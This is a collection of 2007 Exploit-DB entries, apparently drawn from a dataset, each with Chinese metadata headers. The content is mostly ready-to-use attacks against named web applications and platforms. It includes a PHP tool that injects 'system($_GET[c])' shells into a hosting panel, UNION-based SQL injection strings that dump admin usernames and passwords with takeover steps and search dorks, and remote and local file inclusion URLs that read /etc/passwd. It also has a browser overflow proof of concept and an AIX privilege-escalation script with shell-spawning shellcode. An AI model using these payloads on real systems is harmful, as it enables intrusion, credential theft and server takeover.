QLWD/code_shield huggingface dataset:
标题: Sciurus Hosting Panel - Remote Code Injection EDB-ID: 4635 CVE: 2007-6082 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-18 漏洞利用脚本: <? ob_implicit_flush(true); ?>
<style>
body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}
input,
.kbrtm,select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}
button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}  
textarea{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; border-left:1px solid #121212; border-right:1px solid #5d5d5d; border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;}
a:link {
 color: #999999;
 text-decoration: none;
        font-weight: bold;
 background-color:#000000;
}
a:visited {
 color: #999999;
 text-decoration: none;
        font-weight: bold;
 background-color:#000000;
}
</style><br>
<center>
<h3>Sciurus Hosting Panel Code Ä°nject Exploit</h3><br>
Exploit Coded By Liz0ziM From <a href="http://www.biyofrm.com">BiyoSecurityTeam</a><br>
Greetz My all friend and BiyoSecurityTeam User..
<br>
<form method="POST" action="">
<input name="adres" type="text" value="Target  example: http://www.site.com/" size="70" onFocus="if(this.value=='Target  example: http://www.site.com/')this.value=''" onBlur="if(this.value=='')this.value='Target  example: http://www.site.com/'">
<input name="kodcuk" type="text" value="Evil Code  example:  &lt;? system($_GET[c]); ?&gt;" size="70" onFocus="if(this.value=='Evil Code  example:  &lt;? system($_GET[c]); ?&gt;')this.value=''" onBlur="if(this.value=='')this.value='Evil Code  example:  &lt;? system($_GET[c]); ?&gt;'">
<input name="yolla" type="submit" value="Send Evil Code">
</form>

<br>
<?php
if($_POST[yolla])
{
$adres=$_POST[adres];
$kodcuk=$_POST[kodcuk];
if($adres=="" OR $kodcuk=="") { echo 'BoÅŸ Yerleri Doldurun'; exit(); }
echo 'Target= '.htmlspecialchars($adres)."<br>";
sleep(1);
echo 'Evil Code= '.htmlspecialchars($kodcuk)."<br>";
sleep(1);
echo 'Sending Evil Code.......<br>';
$paket1=$adres."/acp/savenews.php";
$paket2="filecontents=".$kodcuk;
$ch = curl_init();

/* <pre><b><? system($_GET[c]); ?></b></pre> */
curl_setopt($ch, CURLOPT_URL, $paket1);

curl_setopt ($ch, CURLOPT_POST, 1);

curl_setopt ($ch, CURLOPT_POSTFIELDS, stripslashes($paket2));

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

$content = curl_exec ($ch);
curl_close ($ch); 
sleep(5);
echo "Exploit Has Been Succeful : <a target='_blank' href='".$adres."/includes/news.php'>".$adres."/includes/news.php</a>";
}
?>
</center>

# milw0rm.com [2007-11-18] URL: https://www.exploit-db.com/exploits/4635
标题: Softbiz Auctions Script - 'product_desc.php' SQL Injection EDB-ID: 4617 CVE: 2007-5999 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-11 漏洞利用脚本: #####################################################################################
####                    Softbiz Auctions Script Sql Injection                    ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#Script Download : http://www.softbizscripts.com/                                   #
#Google Dork : "Starting bid" "Powered by SoftbizScripts"                           #
#                                                                                   #
#                                                                                   #
#Injection Adress : http://sitename/product_desc.php?id=<SQL C0de>                  #
#                                                                                   #
#SQL C0de : 999999%20union/**/select/**/0,1,admin_name,3,4,5,6,7,8,9,10,pwd,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/sbauctions_admin/*
#                                                                                   #
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-11-11] URL: https://www.exploit-db.com/exploits/4617
标题: Softbiz Ad Management plus Script 1 - SQL Injection EDB-ID: 4618 CVE: 2007-5998 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-11 漏洞利用脚本: #####################################################################################
####            Softbiz Ad Management plus Script ver 1 SQL INJECTION            ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#Script Download : http://www.softbizscripts.com/                                   #
#                                                                                   #
#                                                                                   #
#####################################################################################
#Injection Adress : http://sitename/ads.php?package=<SQL C0de>                      #
#                                                                                   #
#SQL C0de : 999999%20union/**/select/**/1,2,3,4,5,admin_name,pwd,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/from/**/sbbanners_admin/*
#                                                                                   #
#####################################################################################
#Help :                                                                             #
#                                                                                   #
#Step 1 : Register in Site                                                          #
#Step 2 : Login in User panel with your email and password                          #
#Step 3 : Go too Sql address and find admin username and password                   #
#Step 4 : Go too http://sitename/admin/ and login with admin username and password  #
#Step 5 :  :)                                                                         #
#                                                                                   #
#####################################################################################
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-11-11] URL: https://www.exploit-db.com/exploits/4618
标题: jPORTAL 2.3.1 - 'articles.php' SQL Injection EDB-ID: 4614 CVE: 2007-5973 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-09 漏洞利用脚本: Title:jPORTAL =< 2.3.1 and  Remote SQL Injection Vulnerability
Dork:  intext:"jPORTAL 2" & inurl:"articles.php?topic="

Autor:  Alexsize
E-Mail: Alexsize@mail.ru
Site:   Antichat.ru


articles.php?topic=-3+union+select+1,pass,3,4,5+from+admins/

Vuln code:

function topic_name($a)  
{     
global $topic_tbl; 
$query = "SELECT * FROM $topic_tbl WHERE id=$a"; 
$result = mysql_query($query);   
$r = mysql_fetch_array($result);     
return '<a href="articles.php?topic='.$a.'" class="t_main">'.$r['title'].'</a>';   
} 

C ÑƒÐ²Ð°Ð¶ÐµÐ½Ð¸ÐµÐ¼, Alexsize.

# milw0rm.com [2007-11-09] URL: https://www.exploit-db.com/exploits/4614
标题: Softbiz Link Directory Script - SQL Injection EDB-ID: 4620 CVE: 2007-5996 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-11 漏洞利用脚本: #####################################################################################
####                   Links Directory Script SQL INJECTION                      ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#Script Download : http://www.softbizscripts.com/                                   #
#DORK: "Powered by SoftbizScripts" "OUR SPONSORS"                                   #
#                                                                                   #
#####################################################################################
#                                                                                   #
#Injection Adress : http://server.com/searchresult.php?sbcat_id=<SQL C0de>          #
#                                                                                   #
#SQL C0de For Find admin Username : 999999%20union/**/select/**/0,username,2,3/**/from/**/sblnk_admin/*
#SQL C0de For Find admin Password : 999999%20union/**/select/**/0,password,2,3/**/from/**/sblnk_admin/*
#                                                                                   #
#####################################################################################
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-11-11] URL: https://www.exploit-db.com/exploits/4620
标题: Adobe Shockwave - 'ShockwaveVersion()' Stack Overflow (PoC) EDB-ID: 4613 CVE: 2007-5941 类型: DOS 平台: WINDOWS 发布日期: 2007-11-08 漏洞利用脚本: <html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
     var s = "AAAA";
     while (s.length < 768 * 768) s=s+s;
  
     var obj = new ActiveXObject("SWCtl.SWCtl"); //{233C1507-6A77-46A4-9443-F871F945D258}     

     obj.ShockwaveVersion(s);
    }
  </script>

 </head>  
 <body onload="JavaScript: return Check();" />
</html>

# milw0rm.com [2007-11-08] URL: https://www.exploit-db.com/exploits/4613
标题: IBM AIX 5.3.0 - 'setlocale()' Local Privilege Escalation EDB-ID: 4612 CVE: 2006-4254 类型: LOCAL 平台: AIX 发布日期: 2007-11-07 漏洞利用脚本: #
#setlocale() exploit for aix 5.2 ( CVE-2006-4254  )
#thomas.pollet@gmail.com
#
from os import execve

bof="a"*580+"bbbbccccdddd\x2f\xf2\x28\x2f"
egg="\x60"*2350
shellcode=(            # by intropy <at> caughq.org
"\x7c\xa5\x2a\x79"     # xor.    r5,r5,r5
"\x40\x82\xff\xfd"     # bnel    <shellcode>
"\x7f\xe8\x02\xa6"     # mflr    r31
"\x3b\xff\x01\x20"     # cal     r31,0x120(r31)
"\x38\x7f\xff\x08"     # cal     r3,-248(r31)
"\x38\x9f\xff\x10"     # cal     r4,-240(r31)
"\x90\x7f\xff\x10"     # st      r3,-240(r31)
"\x90\xbf\xff\x14"     # st      r5,-236(r31)
"\x88\x5f\xff\x0f"     # lbz     r2,-241(r31)
"\x98\xbf\xff\x0f"     # stb     r5,-241(r31)
"\x4c\xc6\x33\x42"     # crorc   cr6,cr6,cr6
"\x44\xff\xff\x02"     # svca
"/bin/sh"
"\x05")

execve("/usr/bin/passwd",[""],{"EGG":egg+shellcode,"LC_TIME":bof})

# milw0rm.com [2007-11-07] URL: https://www.exploit-db.com/exploits/4612
标题: nuBoard 0.5 - 'site' Remote File Inclusion EDB-ID: 4606 CVE: 2007-5841 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-04 漏洞利用脚本: nuBoard 0.5 (index.php site) Remote File Inclusion Vulnerability
 http://switch.dl.sourceforge.net/sourceforge/nuboard/nuboard_v0.5.tar.gz
 /nuboard_v0.5/admin/index.php?site=http://localhost/scripts/020.txt?

# milw0rm.com [2007-11-04] URL: https://www.exploit-db.com/exploits/4606
标题: jPORTAL 2 - 'mailer.php' SQL Injection EDB-ID: 4611 CVE: 2007-5974 2007-5912 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-06 漏洞利用脚本: Tytul: jPORTAL 2 Remote SQL Injection Vulnerability
dork:[ intext:"jPORTAL 2" & inurl:"mailer.php" ]

Autor: Kacper
E-Mail: kacper1964@yahoo.pl
Strona: devilteam.eu

Irc: irc.myg0t.com #devilteam

Blad:

mailer.php?to=999999999999'+union+select+0,1,2,3,4,5,concat(nick,char(58),pass),7+from+admins+limit+1/*

po wykonaniu zapytania wystarczy zajrzec w xrodlo strony i poszukac:

<input type="hidden" name="cmd" value="sendmail"><input type="hidden" name="to" value="admin:9b3a80a898fabc984e733d904027cc91"></td>

value="admin:9b3a80a898fabc984e733d904027cc91" < ----/  to Twoj rezultat wykonania zapytania SQL.

be safe all  :) 

# milw0rm.com [2007-11-06] URL: https://www.exploit-db.com/exploits/4611
标题: Softbiz Banner Exchange Network Script 1.0 - SQL Injection EDB-ID: 4619 CVE: 2007-5997 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-11 漏洞利用脚本: #####################################################################################
####         Softbiz Banner Exchange Network Script ver 1 SQL INJECTION          ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#Script Download : http://www.softbizscripts.com/                                   #
#                                                                                   #
#                                                                                   #
#####################################################################################
#Injection Adress : http://sitename/campaign_stats.php?id=<SQL C0de>                #
#                                                                                   #
#SQL C0de : 999999%20union/**/select/**/0,1,2,3,4,5,6,7,8,admin_name,10,pwd,12,13,14,15/**/from/**/sbbanners_admin/*
#                                                                                   #
#####################################################################################
#Help :                                                                             #
#                                                                                   #
#Step 1 : Register in Site                                                          #
#Step 2 : Login in User panel with your email and password                          #
#Step 3 : Go too Sql address and find admin username and password                   #
#Step 4 : Go too http://sitename/admin/ and login with admin username and password  #
#Step 5 :  :)                                                                         #
#                                                                                   #
#####################################################################################
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-11-11] URL: https://www.exploit-db.com/exploits/4619
标题: ASP Message Board 2.2.1c - SQL Injection EDB-ID: 4609 CVE: 2007-5887 类型: WEBAPPS 平台: ASP 发布日期: 2007-11-05 漏洞利用脚本: * Bug Found On : "ASP Message Board"
*
* Found By : Q7x
* 
* Home : Www.Larestankids.coM ( Ashiyane2 Security Team )
*
* Dork : inurl:"printer.asp?forum="
*
* Version : 2.2.1c
*
* Bug : ASP Message Board - printer.asp - Remote Sql Injection Exploit
*
* Exploit : Admin User / Password : http://www.site.com/boards/printer.asp?forum=AMB_xxxx&id=xxxx or 1=convert(int,(select top 1 convert(varchar,isnull(convert(varchar,Admin),'NUL L'))%2b'/'%2bconvert(varchar,isnull(convert(varcha r,Password),'NULL'))%2b'/'%2bconvert(varchar,isnul l(convert(varchar,Username),'NULL')) from AMB_REGISTEREDUSERS))

# milw0rm.com [2007-11-05] URL: https://www.exploit-db.com/exploits/4609
标题: SyndeoCMS 2.5.01 - 'cmsdir' Remote File Inclusion EDB-ID: 4607 CVE: 2007-5840 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-04 漏洞利用脚本: --------------------------------------------
=                                          =
=            Mdx  (c) 2007                 =
=        http://www.by-mdx.com             =
--------------------------------------------
=                                          =
=syndeoCMS 2.5.01 [cmsdir] Remote File Include   
=                                          =
============================================
=
= Download:
=
= http://sourceforge.net/projects/syndeocms
=
============================================
=
= Exploit:
= 
= http://site.com/[path]/starnet/themes/c-sky/main.inc.php?cmsdir=shell?
=
============================================
 Thanks my Friend :
=============================================================     
            
              crazy coder  n0th!ng

 Xoron,Deltaforce,PASHA,Nizam-Ã¼l MÃ¼lk, Prime Suspect,Kralbay
CyberEx,mith,n0th!ng,CwPeker,Cyber_cobra,CyberWar,Musty
@zr@il-,DaRKToLe,ultrAslan_CW,quantumhalil,schevko 
nirvana_jr,mertcesur,reddevil19,hocam,muhammed4554
WarriorHacker,cepuzmani_53,kalaba,Dr.X,TR4KONYA,X-X-X,daimon
-------------------------------------------------------------

# milw0rm.com [2007-11-04] URL: https://www.exploit-db.com/exploits/4607
标题: Vortex Portal 1.0.42 - Remote File Inclusion EDB-ID: 4605 CVE: 2007-5842 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-04 漏洞利用脚本: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ Vortex Portal 1.0.42 RFI ~
~~~~~~~~~~~~~~~~~~~~~~~~~~~

----------
Author   : ShAy6oOoN
----------
Group    : PitBull Crew
----------
Script   : Vortex Portal 1.0.42
----------
Download : http://www.igamingcms.com/legacy-software/VortexPortal1.0.42.zip
----------
Vuln Type: RFI
----------


Register_globals: ON
-----------------

/path/admincp/auth/secure.php?cfgProgDir=

/path/admincp/auth/checklogin.php?cfgProgDir=


Greetings:
----------

PitBull Crew : The_PitBull - iNs - MaxDeMon - SancheZ - r0x00k - c0ol


Thanks To:
----------

str0ke - BiNgZa

# milw0rm.com [2007-11-04] URL: https://www.exploit-db.com/exploits/4605
标题: Ubuntu 6.06 - DHCPd Remote Denial of Service EDB-ID: 4601 CVE: 2008-5010 2007-5365 类型: DOS 平台: MULTIPLE 发布日期: 2007-11-02 漏洞利用脚本: Ubuntu 6.06 DHCPd bug Remote Denial of Service Exploit
Author: RoMaNSoFt <roman@rs-labs.com>

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4601.tgz (1022007-DoS-CVE-2007-5365.tgz)

# milw0rm.com [2007-11-02] URL: https://www.exploit-db.com/exploits/4601
标题: scWiki 1.0 Beta 2 - 'common.php?pathdot' Remote File Inclusion EDB-ID: 4604 CVE: 2007-5843 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-03 漏洞利用脚本: scWiki 1.0 Beta 2 (common.php pathdot) Remote File Inclusion Vulnerability
http://heanet.dl.sourceforge.net/sourceforge/sc-wiki/scwiki_beta2.zip
POC :
    /includes/common.php?pathdot=Shell

# milw0rm.com [2007-11-03] URL: https://www.exploit-db.com/exploits/4604
标题: DM Guestbook 0.4.1 - Multiple Local File Inclusions EDB-ID: 4597 CVE: 2007-5821 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-02 漏洞利用脚本: #  DM Guestbook <= 0.4.1 Multiple Local File Include Vulnerabilities
#  http://sourceforge.net/project/showfiles.php?group_id=101364 /guestbook.0.4.1/
#  POC :
#  /guestbook.php?lng=../../../../../../../etc/passwd%00
#  /admin/admin.guestbook.php?lng=../../../../../../../etc/passwd%00
#  /auto/glob_new.php?lng=../../../../../../../etc/passwd%00
#  /auto/ch_lng.php?lngdefault=../../../../../../../etc/passwd%00

# milw0rm.com [2007-11-02] URL: https://www.exploit-db.com/exploits/4597
标题: GuppY 4.6.3 - 'index.php?selskin' Remote File Inclusion EDB-ID: 4602 CVE: 2007-5845 2007-5844 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-03 漏洞利用脚本: vuln.: GuppY 4.6.3 (includes.inc selskin) Remote File Inclusion
  script info and download: http://www.freeguppy.org/
  dork: "Site powered by GuppY" 
 
  author: irk4z[at]yahoo.pl
  greets to: str0ke, rgod, polish under :*
'-----------------------------------------------------------------------------' 
 
# code:

   /tinymsg.php, line 24:
   ...
24    define("CHEMIN", "");
   ...   
   
   /inc/includes.inc, lines 155-168:
   ...
155   if (isset($selskin)) {
156     $page[14]=$selskin;
157   }
158
159   if (is_file(CHEMIN."skin/".$page[14]."/skin".INCEXT)) {
160    include(CHEMIN."skin/".$page[14]."/skin".INCEXT);
161   } else {
162    include(CHEMIN."skin/no_skin/skin".INCEXT);
163   }
164   if (is_file(CHEMIN."skin/".$page[14]."/confskin".INCEXT)) {
165    include(CHEMIN."skin/".$page[14]."/confskin".INCEXT);
166   } else {
167    include(CHEMIN."skin/no_skin/confskin".INCEXT);
168   }
   ...
   
   Local file inclusion on line 160 in $selskin, and I have used code
   from:
   
   /inc/boxleft.inc, lines 98-102:
   
   ...
98    for($ii=0; $ii<count($xposbox["L"]); $ii++) {
99      if ($userprefs[3] != "R" && $xposbox["L"][$ii] != '') {
100      include(CHEMIN.$xposbox["L"][$ii].INCEXT);
101      $onemenu = 1;
102   }
   ...
   
   so.. i have remote file inclusion :D
   
# exploits:

 local file inclusion:
   http://[HOST]/[PATH]/index.php?selskin=[LFI]%00
   http://[HOST]/[PATH]/index.php?selskin=..%2F..%2F..%2F..%2F.%2Fetc%2Fpasswd%00
   
 remote file inclusion:
   http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=[RFI]
   http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=http:%2F%2Fhost%2Fshell?
   
   ^ xposbox[L][] and selskin must be encode because GuppY filtering query..   

# another bug: 

rgod on 2007-01-29 published local file inclusion in error.php $id variable,
but GuppY authors didn't patch it  :(  so you can upload file to

 http://[HOST]/[PATH]/file/[your uploaded file]


<form name="uploadit" enctype="multipart/form-data" method="post" action="http://[HOST]/[PATH]/error.php?">
<input type="hidden" name="id" value="../../admin/inc/upload" alt="don't change! ;]" />
<input type="hidden" name="pg" value="upload" />
<input type="hidden" name="rep" value="file" />
<input type="file"   name="ficup" size="36" />
<input type="hidden" name="OK" value="1" />
<input type="submit" value=" ok " />
</form>

# milw0rm.com [2007-11-03] URL: https://www.exploit-db.com/exploits/4602